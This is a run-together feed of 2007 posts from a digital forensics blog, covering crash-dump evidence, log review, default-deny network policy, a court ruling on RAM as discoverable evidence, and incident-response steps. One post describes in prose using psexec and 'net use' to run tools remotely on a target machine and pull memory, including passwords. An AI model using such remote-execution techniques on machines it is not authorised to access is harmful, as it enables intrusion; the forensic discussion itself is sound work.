href="http://www.xkcd.com">xkcd.com</a>Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-79805582580495787182007-10-28T17:18:00.000+00:002007-10-28T17:45:36.688+00:00A couple of toughts and things to come1. If you have not seen the Tactical Exploitation presentation by HD Moore and Valsmith did at Defcon this year, you need to see it.<br /><br />There's good stuff there for forensic folks too. Things like <a href="http://whois.domaintools.com">http://whois.domaintools.com</a> that some people don't know about. . . just good stuff.<br /><br /><embed style="width:400px; height:326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=8220256903673801959&hl=en" flashvars=""> </embed><br /><br />2. When you do forensics on compromised systems, there is an inverse relationship between time and evidence; that is, the greater the time between compromise and examination, the evidence decreases.<br /><br />A couple of files that I've found to be useful in exams - memory.dmp and drwatson.log (it might be drwtsn.log. . .). I'm going to do a do a longer post on this later on, but in short, attacker's tools often cause applications to crash. This is an easy way to find out how the attack was accomplished. WinDbg is your friend here. More later.<br /><br />3. I'll be posting a couple of scripts in the near future. One will extract event logs from a remote computer, and the other gets services from a remote computer (similar to sc \\remote query), but it also extracts the PID and the path to the executable and command line.<br /><br />I've been *really* busy in the last couple of months, between work and home life, but I'll continue to post when I've got something that I think is useful.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-77754094393441005092007-10-06T23:40:00.001+00:002008-03-05T02:49:08.895+00:00Things that pain me<\begin rant>It's been a really busy couple of months, so I haven't had much time to myself, but a couple of quick thoughts:<br /><span style="font-weight:bold;"><br />1. 5 Minutes a week isn't asking that much, is it?</span><br /><br />I have a server that I manage - I've been putting in extra hours at work, but still somehow I manage to have 5 minutes a week to look at my logs. I wrote a shell script that looks for things like failed logins, brute force attacks, successful logins, etcetera; why can't IT "Professionals" spend a little time doing the same thing?<br /><br />I'd challenge everyone to stop right here and take a look at the logs on the box that you are viewing this post from, or even better, a server that you manage - you'll learn more from five minutes of reading your own logs than you will from the rest of this blog.<br /><br /><span style="font-weight:bold;">2. Information security/assurance/warfare/technology/badgers are stupid </span><br /><br />Until artificial intelligence (AI) gets significantly better (read, not during the course of your career), there will be no substitute for people doing work to analyze the products that computers create. There is, and there will be no appliance, no snort box, no grep expression, no program, no pretty graphic user interface that will be able to analyze data collected and conclude with a reasonable degree of certainty that something is amiss. People on the other hand can infer and from those infrences determine the likely answer to questions. Attackers are people, and as such are remarkably fluid and resilient in the face of adversity; that is, they can modify their behavior when confronted with new information or situations. <br /><br />Computers by contrast, are rule based - if text == Attack! then drop packet - but if text == 0x41ttack, well. . .<br /><br />This is not to say that computers do not do some things better than people. Data can be sorted and noise eliminated more quickly with them but people have to analyze the data. It's a waste of time to have IDS analysts unless you have an IDS, and it is a waste of time to have a IDS without an analyst.<br /><br /><span style="font-weight:bold;">3. Network engineers should consider layer 8 during design, and plan their security accordingly.<br /></span><br />People are distracted, stupid, ignorant or indifferent to policy. Policy can prohibit me from visiting http://example.com, but someone won't get the word, or won't care if they do. Policy without enforcement is a waste of time.<br /><br />The only way to secure a network is to build in security as the primary consideration. Some people have come to view their ability to access the Internet as some inalienable right on par with the 4th Amendment to the Constitution* - and IT workers seem to have become both the customer service representatives for said access. It's a sad state of affairs. If your network policy is not governed by a deny all, permit by exception principle, you are owned. Maybe not today, but you will be owned. If you have a DAPBE rule set in place for your network environment, you'll still get owned, but it will be easier to clean up.<br /><br />People don't <i>need</i> to have access to webmail, CNN, ESPN, <a href="http://www.homestarrunner.com/sbemail1.html">Homestarrunner</a> or <a href="http://xkcd.com/257/">XKCD</a> from work. They want it, sure, and maybe some do need CNN, but who can tell me of a blacklist that will prevent users from going to all of say, the <a href="http://www.google.com/search?num=100&hl=en&newwindow=1&safe=off&q=intext%3A%22v1agra%22+inurl%3Ablogspot.com&btnG=Search">malware sites that are hosted by blogger</a>? I'm guessing that there isn't one.<br /><br />3. When you say, "We need to educate the users." I want you to stop breathing my air.<br /><br />User education is valuable, but only when it's actually education. Education is not the bi-annual, "click here to click through" our security training. You are wasting your money (ok, granted, this was probably some <a href="http://en.wikipedia.org/wiki/Federal_Information_Security_Management_Act_of_2002">bureaucrat's idea</a> of what security training should entail) and it's a waste of energy. Spend your budget on things that work - and if you've got extra time and money at the end of the year, then you can worry about user education. This also means that I'll be less likely to garrote you in a server room.<\rant><br /><br />*The Fourth Amendment to the Constitution of United States guarantees the right of persons to be secure from unreasonable searches/seizures by the Government.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-12436935228492490582007-09-02T19:28:00.000+00:002007-09-02T19:39:17.434+00:00Order on contents of RAM upheldI previously wrote about a <a href="http://breach-inv.blogspot.com/2007/06/ram-and-u-s-courts.html">California Magistrate's decision that the contents of RAM are discoverable</a>. It seems that the order withstood appeal to the District Court. <a href="http://ralphlosey.files.wordpress.com/2007/08/case-columbiaaffirmed-o1183212.pdf">The full decision is here.</a><br /><br />Interesting.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com1tag:blogger.com,1999:blog-5808631531257292980.post-81300519625792753572007-08-14T00:55:00.000+00:002007-08-14T21:14:36.255+00:00I am the CEO of Fantasy LandThere's been a dearth of posts of late due to the latest addition to the household - the 9 pound, 10 ounce kind that is. . .<br /><br />Between Kid V.2.0 and l337 h4x04s, I haven't had much time to post, but rynhere<a href="https://www.blogger.com/comment.g?blogID=5808631531257292980&postID=1903388692540715613"> breezed by</a> with a few comments. I've edited them for brevity's sake, but since he keeps coming back for the answer, I figured I'd turn this into a post (being the CEO of Fantasy Land does have it's privileges). <br /><br />rynhere: <i>"why would anyone. . . [grab a password from memory] from a running and logged in computer?" </i><br /><br />Bill: Well, I thought it was kind of obvious, but I've found it useful to have passwords ;-).<br /><br />rynhere: <i>Um, I'm sorry but [PGP ensures] that lost laptops (which are presumably turned off) do not pose a threat as the data is encrypted. </i><br /><br />Bill: I agree that PGP does mitigate the risk of data loss, but that was not the point.<br /><br />rynhere: <i>Is this "defeat" intended to describe how you would take a turned off laptop and defeat the password? </i><br /><br />Bill: No.<br /><br />rynhere: <i>I didn't see any mention of it beyond the obvious of brute force...good luck on that. </i><br /><br />Bill: Actually, there are several products out there that will do just that <a href="http://www.accessdata.com">Accessdata's PRTK and DNA</a> come to mind.<br /><br />rynhere: <i>However, if you have a running computer that has been logged in and is in the windows interface, then let me give you the 1 step method of getting a copy of the data to run forensics against all day long. It's called hooking up a USB drive and downloading the meaningful contents of the native drive.</i><br /><br />Bill: Leet!<br /><br />rynhere: <i>If your trying to obtain forensic information from the box however, as this article seems to illustrate; I'd like to understand how it is that you ask, (in your kindest, big-brother-is-watching sort of way) for this person to log into WDE and the network for you so that you can take their computer for the next 30 minutes to reverse engineer this password. Riiiight. Tell you what, if you can get someone to give you a logged in and running computer, then one of two things is the case,<br /><br />1. Your the CEO of fantasy land.<br />2. Your in the wrong profession because you can clearly sell water to a drowning man. Go find your calling in life as a salesperson instead of geeking out on reverse engineering passwords to a running, unencrypted (once you've authenticated to WDE, the drive "appears" as unencrypted) box.</i><br /><br />Ok, now to the point. If you are going to image memory over the network, there's a number of ways get the memory. If you have administrative rights on the box, you can use psexec to get a command prompt on the target's computer, then "net use" back to the drive under your control to execute the tools working as the administrator on your target's box. There is no "pretty" way to do a live acquisition, you are going to make some changes no matter what method you choose, but it's nice to have more than one tool in your toolbox.<br /><br />Oh, and I have asked for and received a number of passwords to computers and I didn't even need to <a href="http://news.bbc.co.uk/1/hi/technology/3639679.stm">give the users chocolate</a> to get them. You just never know until you ask. . .<br /><br />That's all your CEO has time for right now. . .Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-58249723282361095162007-07-19T18:05:00.000+00:002007-07-21T19:17:00.237+00:00You just got 0wned. Now what?Imagine that you are arriving at your office and you look through the window. Inside the building you can see someone burglarizing the building. What would you do?<br /><br />You have a few options, you could (1) call the police; (2) you could ignore the burglary and go get a cafe' latte double mocha espresso and hope that the burglar leaves before anyone sees him; (3) or you could open the door to the office, and shout, "Hey! Get out!", wait for the burglar to leave. <br /><br />In the real world, people routinely choose the first option. They do not run the burglar out of the house and then lock the door to preserve the scene before the police arrive, but for some reason, when it comes to cyber-crime, almost everyone chooses the third option. The burglar is long gone by the time the investigation starts. Evidence has been walked over, looked over, deleted and operating systems re-installed.<br /><br />The "information assurance" community does a lousy job of ensuring that intrusions are handled appropriately. In my experience there is a community wide knee jerk reaction to intrusions that starts with looking at logs (rather than preserving them), moves into damage control (patching and re-instllation) and then, as an afterthought, calling in people who are qualified to respond to the incident. <a href="http://windowsir.blogspot.com">Harlan Carvey</a> wrote recently that he had only conducted two live acquisitions for clients, and both of those were <i>after</i> operating systems were reinstalled, so I assume that my experience is not unique.<br /><br />This is usually a response based on emotion, not logic. I know that I'm largely preaching to the choir here, but hopefully someone will wander in during this sermon - so here's what you need to do if you have been hacked:<br /><br />1. <a href="http://en.wikipedia.org/wiki/The_Hitchhiker's_Guide_to_the_Galaxy">Don't panic</a> <br /><br />2. Call someone qualified to investigate the incident.<br /><br />3. Let the investigators investigate, image, analyze what's happen(ing/ed).<br /><br />4. Develop a plan that will allow you to mitigate damage, determine the extent of the intrusion, catch the bad guy with your incident responders/law enforcement.<br /><br />5. Implement the plan.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com5